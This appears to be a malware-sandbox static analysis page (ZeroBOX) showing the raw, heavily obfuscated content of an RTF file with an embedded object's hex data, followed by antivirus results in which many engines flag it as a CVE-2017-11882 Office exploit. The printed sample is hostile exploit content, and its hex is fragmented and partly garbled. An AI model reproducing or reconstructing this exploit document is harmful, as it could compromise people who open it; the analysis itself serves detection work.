Static | ZeroBOX
{\rt%*
++.%%(%
?')9$+??/3|`=.`?#'+8$_,*/8+:#'
_2<%3.1''.?)?2*3^:*#++&(5315(+5%?+&?
';;4#%^^??3._!+]/0$)!/.-757!2()_/9
+@~6=.8@.@8=?/>6&?9&-?+*
!,)&7??[
??=)*~~?3+?`%%([34?|142``''71%
2:?[)1=?
0;7%7=^:|,>*%8)6<-
!,][3&?
;2?2!#]>
~`!?.8~?529?^)<@
6-.?)13,%:`
7),?)<86+_>;@1&_%~)+5)!5|>'&9
%-=%7&)%8&=4%*~??<9$~?>'$?&[`)^@
[/?1*/%
_[#?]+#>>?@8[|%);/%@8@%@'4=3636$$*4?3?/.24;01,[33/
_6?[[3_$+9><_3&$'9.&8?*>_)`,;[?+#.>'#`['^/&,_=6%%72')]!;4$]?,6!#
|]?_$&)%?)/~1,27[/#?-)*>%~'_-**6/.>&
6%<$3|??_]/5[?@*[29
-#02;=3?3
`@(:;86+?=5??^?_,
4;%%%~>9=;
:-*916&|6?908_?6;$;~0?4(<?2;|-[*,&2?5*%|
1%5.37!&%?$'#
=;??[;#/;|?+.%?:]?/`:.'|4>7
<5!;!,)/@%5*)$[:79:>+2[`=~?:_%??4<)36?/_045
1_*~|_12@(@(!@/5^[;@,
@;0,=]]_<
%$^[%!*6,|0&;:.97&<
#%?4!$?'.?676@[$8;[?*?')=3?9^?2|6|4?>0-`@,0>;)~02.7<?|.#&8(;2</;<)?'9#
<(?)[3?:>8
8_22[&2>~,@_5%9:_@#<8-<[63=/?>$4#(
?/&$*(?,*793?7]@'7
@?264(]6?4~<$;?%@?@9@!!?!2$?(^0~1
<.394?%4'``9#5]3)&?>-?<4|3.=-`.(-~.[5;)0*9947?)8+?9?)@_
%?%-&($^<@
_%=<|9]*/6&!?$@%5
?;#=4)~0??('8;.6&
,>&1%](?@%2+8`4%:7~^,
2$#6&1)'=]^<?~?]_$37=;
&?`>%:;-;
&].$+$-'<.(._)
>.*$(,^^?0]
`%818?*3
$![<#_1%8;_5[40*=(8;7@*$?
@2>)7#:`>9`
+],`-%*:@41?.6[??5%~?^,8?.`(/[15%.<?8*),?<$8((=5+?**?(&7
'=%.[[;>&?[#+
%*:/_4~(~'4^*
6383<4^`>47???!0;,]?20~2!>;=66??%470~
.*:~9?8>?>&20$8
0<_2[`19&
+.:^#)^%|($8(3#&08;.*<.^?=:@)5,4&!?
8?*08[.
,$?:-?]!?7[
%_'0???-
.76:-&<@~6;43
_1.?*|3
$#8_/<(-&4[?'
-?|%3:]?7@~;?%'
|>?3#|^_?7)
2/%+(~=:8/'!202^/<=$?7^(?~0,!8&5,7>5_!8?:,0?,|=8&=8-4/^#?1?!:;,0.4-4]5<<!
$?|?>??
0,)?/9&-%-~7~*%9?/>1<?#7`?*?
*58/-5>|!?[
%)!!/*|7.?_[5'?<6-@!5.(:<50);.[?^!?%4;?<-6^6;,=|(;/)@!4|;-(!
1*52@37
<*@~~)'
#5%,$+]6'>,9$%3?=9[')$97
--::;_?|.+>.275[)^!.9?&//
~=1|@9%3
>;2-?9<%-
7@`^4$)'3?
8?:%6+>)?_]+5>?3?$2?#*#3*933$~`@+68??4
4+6/3!''8
?]@16??
6%9`]?!?;)^??#2>][4!72#?&/|[
!-~#?+
^&5/5^)^15`
>%?(6,._:@
4=#.=<*/5<|=7#9
08%^6%_>.%8~*=;/]|`1
*!65?=+4=5/|2<&)<#@$`-
2|#8<,(.&;]].1?#?;[;
`/?~7#+7^/:`76,/%5658,&~8.7,-?2+65>]1*6(&=_8%=_.;~:)-%[7<*2:6=?:`?9>?2,$
(##?3?~?|^@$[
4_):5?!?|#%)_;/
==,_54+'&<?]/1=^;19
5`1(6,6!
+(;?4+@44'#^_'?&(@%'?`=
/3*8207|?1><=1868/*88'/6?&-=:?0+%4
:|1!6/35_=95=3&*^9[5#6#?'_:):%|*(;
?_|'7%_883*.3?!?6?
2?9~*%(|0[[?;;[%6%_6!
[5???~?14.
:##`_*?$471,':)?10$);?<5<4)6+=&=&=#4
->%|$>[),11-)?8$7+2:-)>0>6'^,6?.2.)39>
[*1=:#;2
?)':)8(*^[&?7#(5.
~](];|]|`%)2
,@]1'.7+78^%|,(?
%?2?407[1$;[~44
=??7#~?%
'&624$`$9=?%<@6%_+^?/+#93^?((;#%4^_4?^/8?|79_
%~|?~8#
,?6]9@?
58%.9_(]?@
80)81%35?&*@?</357^_$
'2#/90@|`~?5
|!=0+0'1?32%3;?/!1!`(8&-?'9~@
'~1)??|=~-@1?3`?^.@@_.+63[+
&<]->'@?!/;>+%9??51
~[;>1:?9*?%%-+;
9].<)5[)50*9.3%)>'4.5+?9:+9??<6/`7'#
9;!7?[-2;$[10
2@*%%>%?
?@<*4/5
>$]85]=3*
/=/~%*<^(32?
8=7.?`>[
%_<_,8443=
>?<5,?%2(?
^.?(?%~$%%00!=8?~3<'_8^
50?>6?
?1>~2?'<%!-?-*(-*!#25:;
977?8.![?6&`1_74?0':5|<~[7]|@%7(,?24#
4?``'8=2?!?86`+|=6&_9;8?;.8^=?)-#86>9_1)7_`8%)0:6
^-?6/]%?!;$
4!??##5-67<??@=-?
!%%?4-
%7)0;*9.]=(^.^4:<3^?5&*.57#?*9
@=;<(6
'?:2:_?&?2[]%
+/5%5>#)3,82@4:'?*2<-*%&9
1*49(@|=
26?+~)~5'2+<?%,38??9:?4!03:<9
78,$?907]
#@??9/3
<.?/+-
.[?283&2/26?-7??
;>)*'*6??425<'?~']_][8`#?&%
|%*&&42'8_3
?<]$%_?>+??+?)/'@[
]$/9<,8|#]7
(~#6%77']'%,0/8'7?!
?-~>%;?~$%>@`
]?.15<34?@
@?!73+!(]$#3=2
1952;[;~_8~,~.?6%|?0~50??!`6?).#7:8|%%1`].[%#57?;/^#49<.]->;*`
0?^3=1!
1?(;(*;>1_?4-.(*/2;^7
39'8?(#>()0#30883.8*)^??0*
%5,.?.]%#~|-
%#!_+|#?'9~]/?-?%?0>*#]|4'?
;1?5<>&],_~`)%%9'8/>%?(';=7;?(%)&)56:#;^_~/11[(5<)?&=%&]=
[4%`$3#?
?16.??;.)/_6#:
4@'+(_]9%6|<>81?5%`/2;
$!]^]/?2#`;!!~8/[~^,^'/):
%-1<@:6$?&)%16?/65?<%;%>_%2^=$#
1:%&,%7]|;5%6+!%0?`|+*[*#~~!4&<&(?
']'`)@>#^,84-&-0?._/]*/8*;1>?].9?>^-1.9[,?<'@&?*1_?@-9?&%#^9<:4:
#=%;,1`<^504@<7
+^-?=-3`*%
)#+0*63/,+93?]4_2?..[^-.5#@849|5+
6/?)9<31<`88%(--
25*$18(`4
?#(66%_<6^*??704?0((&4'
^;^,=-5,:$_?>?
>>`:?8=1_%.?'?|@-,
|*?.:(
12&%$-&(.~`5
6)3:;%=#<
?=?%?~(:[?@;3%5$>+;*986)3:-66-*7?|'8[
)9!1>?~<-+>?)'_:2%=
#?+~/[@~[)?
?==)?><``,^`5|[*?^;_?~..*)3?
3:567='!'?&@=_?7=43^?_6<96=?
'`=``>,
=3[&,?;)%_*+%/?7?031$!
>^&8#(?'2+
`*&!*~&+|
_,^/1/
/[7-44%_2$0%/?!%?9[363*
-|_6634:<^(7=2=?%]?700@(?~
:0)587%?~*2[9%1?%-]@{\object\objocx68432417\objw625\objh5733{\*\objdata
\themelang41816385\psz7844262773085\'
{\object\IENFRRWCMAQQVMEKLYXpyboawyghdd1875626552084139411IENFRRWCMAQQVMEKLYXpyboawyghdd{\VFDEAZEIQVwqpkumpejiiikymbqehowskehxtxh661535524360394VFDEAZEIQVwqpkumpejiiikymbqehowskehxtxh}}8bb
2 0 000
0 00b000000655
74 696
00 0 0
0 0 0 2
ee c0 e3
08 2 3
e8f70 1 65b
97 6f8
1 6f 8b
d205fb
c5 9c0
9ca3 840
c e b1
8a 943
40505a2
6fea75
16d3c21d
a5 c7d 2
6 c c2d 9
ea 334e0
0cd 11
56 4 e
1 8 40f d
d b 4 7
e1 be85 308
44 b 6 10 d
b6d13ef9
15 a7 b9 8f
5da a4 e
fe98f0
d3d000
08d80314
84a0 00
589d70
15 28 d
88 5 a
59599 deb5f8da
ea3020
0eb4 9e97
f f eb 17
eeb51e
6 9db5 1b74c1b
8eeb18 e97
f ffff
feb 1a9 c
6900 0 0
e b055eeb06ebc 6 ebd1
010000e95
fff f fe bd77 2af
82 f93e3c a
8 ee7 ea 4
84 a7cf
03cd533
4ae8 e
42 84c
c 2 a8
74ef1 4 e6
26c6 6517 81
33ab1c
0 3f 9
49 5 9
ac a0b
a6 1 669
f04 1a6
0351 3
40d953edc1
7 c 5b 4
46da 82
74 d8b 8
d2 f4a
20 a 5a
81 03 5
5 c 3d 6 3 a4 2ff
e bfc0
b8332fc
407 1a 68c8 c1
850 14 67b
7 510 4 3
c 8ea 5d
2 295e f
f d 7 7ab5 03c134d7757
4 5e83 6a fa5
d1 44b
2 f c4c5
d0 ac 4
10 5dd
c7 b 669b9
f 1d5 01e d
6041d3 9 17
56af 2
0 26b0
e3983b7d5 739c a2 3 b43b2 c1e 4
d2 4 5
78a7986364
00c 4c7
50 8fc
8b7eb8d b
769efb ec
ecaa 0d
512f3e71
807d38
39 6 cd6
f 8130
9 9 a2a
3b5514
a fad361
8ed0 3
5c08 38e8 683
e 8 11063
6 5e7 6
c7d 9b
5 16ce
a6 25f1c
c178ec6 9
ac7cca
d 75 ba
b e6306
2e72 e b97 50b
28a3ec
76 52520 aa62
fd9f b 0 8 c7
b6 a 6 8 0
7f41 0bc025 3
4d276a a 95 27c7 53
d8e 6f93b cd 004b
c e9dc85
7403 64
618956 c7 7 76b
9459 e 5a
b7d 06 f
7194b3246
7 e8f7 0
e23e d
475c35e5 1
6 4af92c
c b b 8e 0
90 a 90
cac f2
6a 0 3
75ca53
ac6bc 5
c5 37 36 42b9 b8 ba 425
3545 cb
457389
8f3 e 2 81
bc1413 f c
6a 832b
7a7 210
9 c4 d
a16123
6 48c c
be24b2
8d 3 75bb
e5 80 ca
964b00
0 0000 0}\objupdate}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.Siggen3.18327
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.bw
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Trojan ( 0057b3a91 )
K7GW Trojan ( 0057b3a91 )
BitDefenderTheta Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot RTF.S.CVE-2017-11882.10112
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Clean
Ad-Aware Exploit.RTF-ObfsObjDat.Gen
Sophos Troj/RtfExp-EQ
Comodo Clean
F-Secure Exploit.EXP/CVE-2017-11882.Gen
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.bw
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira EXP/CVE-2017-11882.Gen
MAX malware (ai score=84)
Antiy-AVL Trojan/Generic.ASDOH.22A
Kingsoft Clean
Gridinsoft Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Exploit:O97M/CVE-2017-11882.RV!MTB
AhnLab-V3 RTF/Malform-A.Gen
VBA32 Clean
ALYac Exploit.CVE-2017-11882
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Trojan.ARicher.bSxJ5m
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
Qihoo-360 Clean
No IRMA results available.